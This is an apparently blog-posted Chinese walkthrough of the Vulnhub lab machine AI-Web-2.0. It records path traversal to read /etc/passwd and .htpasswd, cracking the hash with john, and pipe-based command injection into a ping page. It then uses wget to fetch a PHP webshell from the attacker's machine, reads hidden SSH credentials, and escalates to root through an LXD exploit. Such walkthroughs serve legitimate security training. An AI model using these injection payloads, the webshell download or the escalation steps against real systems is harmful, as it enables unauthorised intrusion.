Vulnhub靶机:AI-Web-2.0

标签文件读取爆破命令注入敏感文件泄露lxd提权

0x00 环境准备

下载地址:https://www.vulnhub.com/entry/ai-web-2,357/
flag数量:1
攻击机:kali
攻击机地址:192.168.5.3
靶机描述:

Difficulty: Intermediate
Network: DHCP (Automatically assign)
Network Mode: NAT
This is the second box from the series AI: Web and you will have more fun to crack this challenge. The goal is simple. Get flag from /root/flag.txt. Enumerate the box, get low privileged shell and then escalate privilege to root.

You may need to crack password. Use wordlist SecLists/rockyou-45.txt by Mr. Daniel Miessler.

For any hint please tweet on @arif_xpress

0x01信息搜集

1.探测靶机地址

命令:arp-scan -l

靶机地址是192.168.5.4

2.探测靶机开放端口

命令:nmap -sV -p- 192.168.5.4

开放了22端口和80端口,先看一下80端口

不是CMS。尝试sql注入,不存在sql注入。

3.目录扫描

那就扫描一下目录吧,命令:dirb http://192.168.5.4

其中有个wenadmin的文件,访问看一下

是个登录页面,尝试几个弱口令,不行。
那就看看其他功能吧。

0x02 文件读取

看到有个注册的按钮,那就先注册一个账户试试。

注册后去登录

登录后是这个页面,这里有个Welcome to XuezhuLi FileSharing标语,去搜索引擎查一下xuezhuli filesharing

发现这是一个github上的项目,2016年的项目,项目链接:https://github.com/XuezhuLi/FileSharing
查一下有没有漏洞

找到了两个漏洞,第一个漏洞是CSRF,危害不大,也不好利用;第二个是文件遍历,这个可以读取一些文件,用这个。漏洞利用链接:https://www.exploit-db.com/exploits/40009

使用burp抓包利用一下

利用成功,读取到了/etc/passwd文件,刚才从插件上得知这是个apache的系统,刚才还找到了登录页面,apache系统一般会有一个认证文件,里面保存着账号密码。既然现在可以读取文件,那就读取一下apache的认证文件。

爆破出了apache的认证文件,目录:/etc/apache2/.htpasswd
账号密码:aiweb2admin:$apr1$VXqmVvDD$otU1gx4nwCgsAOA7Wi.aU/
账号是aiweb2admin,密码被加密了,使用john解密一下。

0x03 john爆破

提示中说用rockyou字典,将上面的账号密码保存一下,然后爆破。命令:john --wordlist=/usr/share/wordlists/rockyou.txt aiweb2.txt

爆破出来了,账号密码:aiweb2admin \ c.ronaldo

0x04 命令注入

http://192.168.5.4/webadmin/下发现了robots.txt文件

访问http://192.168.5.4/webadmin/H05Tpin9555/发现是一个执行ping命令的页面

使用burp抓包尝试绕过,执行其他命令。发现使用“|”可以绕过

尝试反弹shell,但是不成功。
使用wget下载一句话试试,在kali上创建一句话文件,为了保险,我既写了一句话,又写了反弹shell:

然后建立一个临时服务器,命令:python -m SimpleHTTPServer

使用wget下载shell.php,命令:wget http://192.168.5.3:8000/shell.php

访问一下看看,没有报404,应该是下载成功了,验证一句话:

一句话可以执行,连菜刀,报错了

我上网查了一下401错误:

如果这种通过浏览器的检查表明没有授权问题,则可能是您的 Web 服务器 ( 或周边系统 ) 被设置为不允许某种 HTTP 传输模式。 换句话说就是, 来自一个知名浏览器的 HTTP 通讯是允许的, 但来自其他系统的自动通讯则被拒绝, 并生成 401 错误代码。这是一种异常情况, 但是也许表明您的 Web 服务器周围 采取了非常具有防御性的安全策略。

这样看来不能用菜刀这类的网站管理工具了,换个其他的思路吧。
401错误解决方法:basic认证

0x05 密码文件——得来全不费工夫

既然不能使用一句话,那就看一下当前目录有什么文件吧
命令:ip=127.0.0.1|pwd&Submit=Submit
回显:

/var/www/html/webadmin/H05Tpin9555

命令:ip=127.0.0.1|ls&Submit=Submit
回显:

index.php
shell.php
style-main.css

没什么可利用的,看看上一级webadmin目录下有什么

命令:ip=127.0.0.1|ls /var/www/html/webadmin&Submit=Submit
回显:

H05Tpin9555
S0mextras
index.html
robots.txt

访问http://192.168.5.4/webadmin/S0mextras/看看

提示发现了juicy的信息,查看一下这个目录下有什么文件

命令:ip=127.0.0.1|ls /var/www/html/webadmin/S0mextras&Submit=Submit
回显:

index.htm

只有一个文件,这跟提示不符啊,应该是有隐藏文件

命令:ip=127.0.0.1|ls -la /var/www/html/webadmin/S0mextras&Submit=Submit
回显:

/var/www/html/webadmin/S0mextras:
index.html

可能是无法使用-la参数,用find命令试一下

命令:ip=127.0.0.1|find . -type f /var/www/html/webadmin/S0mextras&Submit=Submit
回显:

./style-main.css
./index.php
./shell.php
/var/www/html/webadmin/S0mextras
/var/www/html/webadmin/S0mextras/.sshUserCred55512.txt
/var/www/html/webadmin/S0mextras/index.html

这下发现了隐藏文件,.sshUserCred55512.txt文件从文件名上来看应该是和ssh登录有关,用cat命令查看一下。

命令:ip=127.0.0.1|cat /var/www/html/webadmin/S0mextras/.sshUserCred55512.txt&Submit=Submit
回显:

User: n0nr00tuser
Cred: zxowieoi4sdsadpEClDws1sf

0x06 提权

拿到了账号密码,使用ssh登录一下。命令:ssh [email protected]

登录成功
命令:sudo -l

不能使用sudo
那就使用LinEnum工具扫描一下可以利用哪些信息提权。
创建一个临时服务器,然后靶机切换到/tmp目录下,wget下载LinEnum.sh文件

然后给文件赋权,执行文件,由于输出信息比较多,这里使用-r参数指定将输出信息输出到report.txt文件中。命令:./LinEnum.sh -r report.txt

在文件的最后发现可以利用lxd漏洞

找一下lxd的漏洞,命令:searchsploit lxd

把它复制过来

使用vi命令打开,然后输入:set ff=unix,然后输入:wq回车保存退出。如果不设置ff=unix会报错。

cat 46978.sh发现,运行脚本的时候还需要一个文件,文件地址https://github.com/saghul/lxd-alpine-builder
将文件下载到kali上,然后给权限运行

运行后它会下载一个tar.gz的文件,我下载用了很长时间,而且并不是一次就下载成功了,我下载了三次才成功,下载成功的截图

下载成功后会出现一个tar.gz文件,这个文件是以时间戳命名的

在kali上创建临时服务器,将需要用到的两个文件下载到靶机上(由于kali换了新的镜像,现在的kali地址是192.168.5.9

在靶机上切换到/tmp目录,下载两个文件

给46978.sh文件可执行权限,然后运行

已经是root权限了,flag.txt文件在/mnt/root/root

0x07 小结

从文件读取漏洞开始,读取到apach的配置文件,拿到账号密码,在进入网站后台后,又发现了命令注入漏洞,通过这个漏洞又找到了ssh的账号密码文件,登录ssh后开始提权。首先使用LinEnum.sh文件扫描漏洞,发现了lxd漏洞。整体的难点或者说麻烦的地方在于运行build-alpine文件,这个地方浪费了很多时间。

由于我不会每天都登录,所以有什么私信或者评论我都不能及时回复,如果想要联系我最好给我发邮件,邮箱:Z2djMjUxMTBAMTYzLmNvbQ==,如果发邮件请备注“”


参考链接:

1.http 401错误解析
2.Basic认证
3.AI: Web: 2靶机-Walkthrough
4.AI: WEB: 2 VULNHUB WALKTHROUGH

你可能感兴趣的:(Vulnhub靶机:AI-Web-2.0)